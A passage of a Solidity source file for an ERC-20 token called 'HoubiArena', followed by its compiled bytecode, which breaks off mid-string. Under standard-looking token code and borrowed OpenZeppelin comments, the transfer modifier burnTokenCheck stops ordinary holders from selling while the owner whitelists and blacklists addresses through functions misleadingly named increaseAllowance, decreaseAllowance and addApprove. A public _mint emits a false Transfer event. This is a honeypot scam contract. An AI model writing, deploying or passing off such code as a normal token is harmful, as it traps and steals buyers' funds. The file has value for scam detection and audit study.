}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract HoubiArena is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_mint(0x553ed57d7C6d2d0337A34C150f8bEcAa46206d14, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051